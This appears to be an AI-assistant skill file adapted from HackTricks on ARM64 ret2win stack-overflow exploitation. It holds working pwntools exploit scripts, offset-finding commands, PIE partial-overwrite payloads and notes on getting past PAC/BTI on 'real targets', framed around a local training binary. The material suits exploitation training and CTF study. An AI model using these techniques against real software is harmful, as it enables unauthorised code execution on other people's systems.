Hacktricks-skills arm64-ret2win-exploitation
How to perform ARM64 stack overflow ret2win exploitation. Use this skill whenever the user mentions ARM64, AArch64, stack overflow, buffer overflow, ret2win, return address hijacking, or wants to exploit a binary on ARM64 architecture. This includes finding offsets, crafting payloads, handling PIE binaries, and working around modern hardening like PAC/BTI.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/stack-overflow/ret2win/ret2win-arm64/SKILL.MDARM64 Ret2Win Exploitation
A skill for performing return-to-win stack overflow exploitation on ARM64 (AArch64) binaries.
When to use this skill
Use this skill when:
- The user wants to exploit a stack buffer overflow on ARM64/AArch64
- The user needs to find the offset to overwrite the return address
- The user is working with ret2win challenges or similar return address hijacking scenarios
- The user needs to handle PIE (Position Independent Executable) binaries on ARM64
- The user is dealing with modern AArch64 hardening (PAC/BTI)
- The user is working on macOS with ARM64 binaries
Core Concepts
ARM64 Stack Layout
On ARM64, the stack frame typically looks like this:
Higher addresses ├── Saved x29 (frame pointer) - 8 bytes ├── Saved x30 (link register/return address) - 8 bytes ← TARGET ├── Local variables └── buffer[64] - 64 bytes Lower addresses
Key facts:
(orx30
) is the link register containing the return addresslr
is the frame pointerx29- Functions save both with:
stp x29, x30, [sp, #-16]! - The saved return address is at
relative to frame basesp+8 - For a 64-byte buffer: offset = 64 (buffer) + 8 (saved x29) = 72 bytes
- Stack must remain 16-byte aligned at function boundaries
Finding the Offset
Method 1: Using GEF (GDB Enhanced Features)
gdb -q ./binary pattern create 200 run # After crash: pattern search $x30
Method 2: Using pwn cyclic patterns
python3 - << 'PY' from pwn import * print(cyclic(200).decode()) PY
Then after crash, find the offset:
python3 - << 'PY' from pwn import * print(cyclic_find(0x61616173)) # Replace with value from x30 PY
Method 3: Manual stack inspection
gdb -q ./binary b *vulnerable_function + 0xc run info frame # Note the stack address b *vulnerable_function+28 c # After read() executes, find where pattern is stored # Calculate: pattern_address - buffer_start_address = offset
Exploitation Scenarios
Scenario 1: No PIE (Static Addresses)
When the binary is compiled without PIE (
-no-pie), function addresses are fixed.
Steps:
- Find the offset (typically 72 for 64-byte buffer)
- Get the address of the target function:
objdump -d binary | grep win # Look for: 00000000004006c4 <win>: - Craft the payload:
from pwn import * binary_name = './ret2win' p = process(binary_name) context.arch = 'aarch64' offset = 72 ret2win_addr = p64(0x00000000004006c4) # 8 bytes for ARM64 payload = b'A' * offset + ret2win_addr p.send(payload) print(p.recvline()) p.close()
Scenario 2: PIE with Off-by-2
When PIE is enabled, you can sometimes use relative offsets if the return address is already close to the target.
Steps:
- Find the offset (72)
- Calculate the relative offset from the current return address to the target
- Overwrite only the last 2 bytes:
from pwn import * binary_name = './ret2win' p = process(binary_name) offset = 72 ret2win_addr = p16(0x07d4) # Only last 2 bytes payload = b'A' * offset + ret2win_addr p.send(payload) print(p.recvline()) p.close()
Scenario 3: PIE with Address Leak
When you have an address leak, calculate the target address dynamically.
Steps:
- Extract the leaked address from program output
- Calculate the target function offset from the leaked function
- Compute the runtime address
- Craft the payload
See the bundled script
ret2win-exploit.py for a complete example.
Scenario 4: macOS ARM64
macOS has specific considerations:
- Cannot disable PIE
- Cannot disable NX (hardware-enforced)
- Use
to disable ASLRDYLD_DISABLE_ASLR=1 - Use
instead oflldbgdb
Finding offset on macOS:
# Generate pattern python3 - << 'PY' from pwn import * print(cyclic(200).decode()) PY # Run with lldb lldb ./binary (lldb) env DYLD_DISABLE_ASLR=1 (lldb) run # Paste pattern (lldb) register read x30 # Find offset python3 - << 'PY' from pwn import * print(cyclic_find(0x61616173)) # From x30 value PY
Modern AArch64 Hardening
PAC (Pointer Authentication Code)
If PAC is enabled, return addresses are authenticated. Check for it:
readelf --notes -W binary | grep AARCH64_FEATURE_1_PAC objdump -d binary | grep -E 'paciasp|autiasp'
Workarounds:
- For learning: compile with
-mbranch-protection=none - For real targets: use non-return hijacks (function pointer overwrites) or ROP that avoids
/autiasp
pairsret
BTI (Branch Target Identification)
BTI requires landing pads at function entries. Check for it:
readelf --notes -W binary | grep AARCH64_FEATURE_1_BTI objdump -d binary | grep 'bti c'
Workarounds:
- Target exact function entries with
instructionsbti c - Avoid returning to arbitrary addresses
Check Hardening Status
Use the bundled script
check-hardening.py to quickly check for PAC/BTI:
python3 check-hardening.py ./binary
Running on Non-ARM64 Hosts
If you're on x86_64 but want to practice ARM64 exploitation:
# Install qemu-user sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross # Run the binary qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win # Debug with GDB qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win & gdb-multiarch ./ret2win -ex 'target remote :1234'
Common Pitfalls
- Wrong offset: Always verify with pattern generation, don't guess
- Wrong address size: ARM64 uses 8-byte addresses (
), not 4-byte (p64
)p32 - Stack alignment: Keep SP 16-byte aligned for ROP chains
- PAC/BTI: Check for these before attempting exploitation
- PIE: Remember addresses are randomized at runtime
Bundled Scripts
- Generate cyclic patterns and find offsetsfind-offset.py
- Template for ret2win exploitation with leak handlingret2win-exploit.py
- Check for PAC/BTI in binariescheck-hardening.py